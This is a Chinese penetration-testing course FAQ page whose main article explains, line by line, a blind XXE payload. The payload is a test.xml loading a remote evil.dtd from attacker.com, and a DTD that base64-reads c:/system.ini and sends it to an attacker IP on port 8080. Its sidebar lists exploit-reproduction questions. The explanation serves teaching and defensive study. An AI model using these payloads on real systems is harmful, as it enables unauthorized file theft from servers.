课程问题
【汇总】刻录BadUSB问题-社会工程学
【汇总】CVE-2022-22965-SpringRCE复现问题
Linux文件管理章节,排除exclude隐藏文件、查找不是以txt结尾的文件
Linux编辑模式如何恢复操作?
计算机网络-安装winPcap提示a newer version of WinPcap is already installed on this machine
MySQL表添加外键不生效
MySQL-phpMyAdmin登录失败
PHP代码在vscode不能执行
kali安装docker失败
CSRF漏洞学完了,怎么练习
kali apt安装软件提示:unable to locate package无法定位软件包
kali中beef-xss配置文件
msf安装viper炫彩蛇 docker-compose up -d 报错
【汇总】git信息泄露,githack利用不成功
【汇总】蚁剑antsword连接报错
Kioptrix Level 1靶机扫描不到IP
逆向课程吾爱破解工具包不能运行
【汇总】永恒之蓝漏洞/eternalblue/ms17-010复现不成功
跳板机发起攻击的问题
跳板机也会被追溯到吧,以为用访问日志和历史查看?
逆向课程,win10 64位的od 和IDA 在哪下?
vulnhub靶场prime1提权失败GLIBC问题
Linux git clone TCP connection reset by peer
ssrf与gopher与redis
CSRF课程靶场代码使用方法及问题解决
【汇总】SQL注入靶场sqli-labs连接/数据库初始化错误
sqli-labs靶场21关报错:mysqli_real_escape_string() expects parameter 1 to by mysqli, null given in
SQL注入floor报错注入原理
【汇总】SQL注入load_file不能读文件(secure_file_priv)
SQL注入 python盲注脚本出现了多余错误的字符
Kali——SQL注入的school靶场怎么搭建?
在使用sqlmap时,明明有注入点,却sqlmap跑不出来,会是什么原因?
CNNVD漏洞分类指南旧网址打不开
msf编码免杀执行报错:No .text section found in the template
zenmap(nmap windows版本)下载地址
【汇总】安装运行oneforall报错
PHP代码提示 expects parameter 1 to be mysqli_result bool given in
安装xsser报错,pkgProblemResolver
安装CodeTest报错
【汇总】DVWA靶场报错
PHP报错C:\php\ext\php_mysqli.dll (找不到指定的模块)
java-jar启动报错找不到或无法加载主类
【汇总】文件上传漏洞upload-labs无法复现汇总
SSH Key后门免密登录
localhost和127.0.0.1的关系
Apache添加mod security模块后无法启动
fastjson JdbcRowSetImpl利用链,为什么会自动执行恶意代码
反弹连接命令的含义
【汇总】Redis客户端不能连接到Redis服务端,卡住、超时或者拒绝连接
【汇总】反弹连接不成功(Redis未授权访问漏洞)
PAM依据什么找到服务对应的配置文件?
【汇总】文件上传漏洞upload-labs靶场无图片、无样式,打开关卡404
【汇总】Apache启动失败
【汇总】Fastjson复现失败总结和思路
免杀课程上的有溢出漏洞360版本在哪下
awvs web网站打不开
【汇总】vulhub靶场无法启动/连接
浏览器的cookie文件保存在哪里
log4j无法修改日志等级问题,只有error触发漏洞
Charles抓包问题
useradd 参数 -p 指定密码登录失败
tar -rf 往gz 压缩包里面追加文件
SQL注入中如users表名显示的字段名过多
Redis连接成功,但执行命令时报错(error) DENIED Redis is running in protected mode
在渗透测试过程中,怎么判断一个web网站使用了struts
青花瓷插件版本(charles证书导入burp suite)
SRC基础抓包 - proxifier抓小程序包报错
sqli-labs使用group_concat查询时报错:在没有GROUP BY的聚合查询中,SELECT 列表的表达式#3包含非聚合列'security.users.password;这与sql_mode=only_full _group_by 不兼容
nessus 报错 UnicodeDecodeError: 'gbk' codec can't decode byte 0xa2 in position 6588: illegal multibyte sequence
灯塔 timeout of 12000ms
SUID提权find -p问题
信息收集搭建代理IP|快代理的使用|搭建代理池
Webgoat Java源代码审计靶场问题汇总
XSS课程sendmail收不到邮件
SUDO权限配置不成功
beef-xss启动失败
centos7替换yum源为阿里云报错正在连接 mirrors.xxx | 127.0.0.2|:80... 失败:拒绝连接。
交换互联互通基础-实验:三层网关通信 配置失败问题
cmd运行.py文件,会自动弹出pycharm
永恒之蓝漏洞run vnc没有反应
sed删除两个特定字符中间的内容
sqli-labs靶场报错group_concat does no exist
RuoYiv4.7.1启动报错java: 程序包io.swagger.annotations不存在
type-poc.php运行报错unexpected T_PAAMAYIM_NEKUDOTAYIM
typecho反序列化漏洞复现失败问题
安卓模拟器openssl转换burp证书报错
计算机网络-网络协议分析-威胁数据流实战Bravo-1.pcapng流量分析答案
打开了php.ini搜索magic_quotes_gpc = On找不到
获取windows保存的明文WiFi密码
反序列化工程serialize-vul只能查看.class不能查看.java源码
【汇总】codereg.py-ddddocr启动/识别问题
【汇总】shiro反序列化(包括内存马)复现问题
【汇总】pikachu-XSS后台-pkXss报错复现不成功
域控和域管理员有啥区别
csrf靶场bank登录出现404错误
PHP代码审计-bluecms靶场搭建
"echo PHP_EOL"查了是换行符的意思,但运行完却没有换行
思科路由器ip地址调试界面问题
【汇总】log4j漏洞复现不成功-原因和排查思路
MySQL约束不生效,插入数据不报错
sqlmap --os-shell失败 无写入权限
MYSQL80:ERROR 1045 (28000):解决方法
MYSQL:绕过权限验证存在的问题(mysqld --console --skip-grant-tables --shared-memory)
vmware workstation虚拟机列表没有“共享的虚拟机”
vulnhub-dc9-端口敲门以后无法连接
docker拉取镜像失败pulling fs layer
【汇总】Weblogic漏洞复现问题
xss-labs第14关不显示
计算机网络课程-子网划分答案
sqlmap执行POST注入的两种方式
逆向课程开发工具vs2008 vc6.0
sqli-labs靶场第21关cannot modify header information -headers错误
Cannot resolve plugin org.apache.maven.plugins:maven-resources-plugin:3.2.0
msi宏病毒,双击xlsm文件没有上线
【汇总】综合信息收集工具hbit运行相关问题
解决自建wooyun系统无法使用搜索功能
【汇总】easyocr运行报错
w8fuckcdn运行文件报错
执行net view报错6118
浏览器打开PHP文件显示源代码,没有运行代码
安装jwt-cracker报错idealTree:lib: sill idealTree buildDeps
burp插件HAE相关问题
Linux配置Java/JDK(Kali启动ysoserial.jar JRMPListener报错)
esedbexport工具的github地址已经失效
beef-xss报错in `require`: cannot load such file -- msgpack(LoadError)
【汇总】yum安装MySQL,mysql -uroot -p临时密码无法登录
灯塔ARL报错timeout of 12000ms exceeded
httpconn暴破dvwa第一个密码0000提示破解成功
【汇总】访问jsp文件报错:HTTP500内部服务器错误,无法编译为JSP类
【汇总】sqlmap运行报错
powershell脚本运行问题
【汇总】API漏洞-crapi靶场问题
Excel无法在未启用宏的工作簿中保存以下功能
CVE-2020-16848 SaltStack命令注入返回406 Not acceptable
【汇总】IDEA-Tomcat项目访问页面404,找不到localhost的网页
python2安装Crypto库报错
安装Typecho无法连接数据库Database Server Error
find -name加引号和不加引号的区别
【汇总】Docker逃逸问题-CVE-2019-5736-CVE漏洞复现
XXE漏洞,不能读取本地文件
vulnhub-breach1-war包报错
Apache Commons Collections调用链路
log4j工程unboundid依赖报错
【汇总】内存马AgentDemo工程报错
vulnhub-prime靶机显示异常
Shiro反序列化漏洞原理解释
内存马课程小马xiaoma.jsp上传文件失败
vulhub-log4j漏洞复现流程
【汇总】CVE-2021-31805-struts2 s2-062漏洞复现失败
安卓逆向手机选择
【汇总】WinRAR代码执行漏洞CVE-2023-38831
vulnhub靶机扫描不到ip地址
kill -9 杀不死ping baidu进程的问题
【汇总】CVE-2022-22947-Spring Cloud Gateway RCE(SpEL表达式)
XSS课程中存储型XSS靶场无法注册
XSS课程资料代码怎么使用
CVE-2018-12613-phpMyAdmin4.8.x文件包含漏洞
【汇总】CVE-2023-32233 NetFilter权限提升复现失败
XXE-payload详细解释
本文档使用 MrDoc 发布
-
+
首页
XXE-payload详细解释
<font color="red">注意:因为一般的浏览器都禁止加载远程dtd文件,所以这个攻击无法演示</font> # 课程内容 PPT标题:盲打-http接口参数,写入文件 ![](/media/202501/2025-01-14_100153_6252640.4845736628866857.png) 这里分为了两个文件,上面是test.xml(注入到服务器的XML内容),下面是远程服务器的evil.dtd文件。 # test.xml内容: ``` <?xml version="1.0"> <!DOCTYPE ANY[ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> ]> <root>&send;</root> ``` 内容解读: 1、 `<?xml version="1.0">` 这个是XML定义 2、 `<!DOCTYPE ANY[]>` 声明了一个文档类型定义(DOCTYPE),ANY是一个通用的标记,表示该文档类型可以包含任意的元素结构 3、 `<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">` 这是对一个外部实体remote的声明。 再次拆分解读: `% remote`:定义了一个**参数实体(parameter entity)**,参数实体主要用于在DTD(文档类型定义)内部使用,可以被其他DTD声明引用。 `SYSTEM "http://attacker.com/evil.dtd"`:指定了该实体的系统标识符为`http://attacker.com/evil.dtd`,即从这个URL加载外部的DTD文件。 4、 `<root>&send;</root>` `<root>`:这是XML文档的根元素,表示整个文档内容的开始。 `&send;`:这是一个对实体`send`的引用。在XML中,**实体引用**用于引用在DTD中定义的实体。这里引用的send实体并没有在`test.xml`文件中直接定义,而是依赖于外部加载的`evil.dtd`文件中的定义。 总结:`%`用于定义参数实体。`&`用于引用实体。 # 攻击服务器的evil.dtd文件内容 分为两行,主要作用是定义了两个参数实体`file`和`int`,一个用于读取编码,一个用于发送。 ``` <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///c:/system.ini"> <!ENTITY % int "<!ENTITY % send SYSTEM'http://192.168.142.135:8080?p=%file;'>"> ``` ## file实体定义 `<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///c:/system.ini">` 第一行内容解读: 1、 `<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///c:/system.ini">`:这是对参数实体file的定义。 2、 `% file`:定义了一个参数实体。 3、 `SYSTEM "php://filter/read=convert.base64-encode/resouce=file:///c:/system.ini"`:这里使用了PHP的特殊文件协议`php://filter`。 4、 `php://filter`:这是一个PHP特有的文件协议,用于对数据流进行过滤处理。 `read=convert.base64-encode`:指定了读取操作,并且使用`convert.base64-encode`过滤器。这个过滤器的作用是将读取到的内容进行Base64编码。这是一种常见的数据编码方式,可以将二进制数据转换为文本格式,便于在网络上传输。 5、 `resouce=file:///c:/system.ini`:指定了要读取的资源是本地文件系统中的`C:\system.ini`文件。这是一种典型的文件包含攻击手法,通过读取服务器本地的重要文件(如配置文件、系统文件等)来获取敏感信息。 <font color="red">总结:第一行的作用是通过定义file实体,读取指定的系统文件,并编码为Base64格式,赋值给file实体。</font> ## int实体定义 `<!ENTITY % int "<!ENTITY % send SYSTEM'http://192.168.142.135:8080?p=%file;'>">` 第二行内容解读: 1、 `<!ENTITY % int "<!ENTITY % send SYSTEM'http://192.168.142.135:8080?p=%file;'>">`:这是对**参数实体**int的定义。 2、 `% int`:定义了一个**参数实体**。 3、 `"<!ENTITY % send SYSTEM'http://192.168.142.135:8080?p=%file;'>"` 这是一个嵌套的**实体定义**。 再次拆分解读: `%`:这是字符引用,表示百分号(%)。这里使用字符引用是为了在实体定义中嵌套另一个实体引用(%file;),避免解析错误。 `send`:定义了一个普通实体(跟前面连起来就是`% send`)。 `SYSTEM'http://192.168.142.135:8080?p=%file;'`:指定了该实体的**系统标识符**。 `http://192.168.142.135:8080?p=%file`:这是一个攻击者控制的URL,`p=%file`;表示将之前定义的`file`实体(即Base64编码后的C:\system.ini文件内容)作为参数`p`的值发送到攻击者的服务器`http://192.168.142.135:8080` <font color="red">总结:第二行的作用是**定义一个访问远程URL的int实体**,**引用file实体**,实现发送到指定的服务器。</font> # 总结 这种攻击手法利用了XML外部实体(XXE)漏洞,通过加载恶意的DTD文件,读取服务器本地文件并将文件内容发送到攻击者的服务器,从而实现信息窃取。
八方网域
2025年1月15日 14:41
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码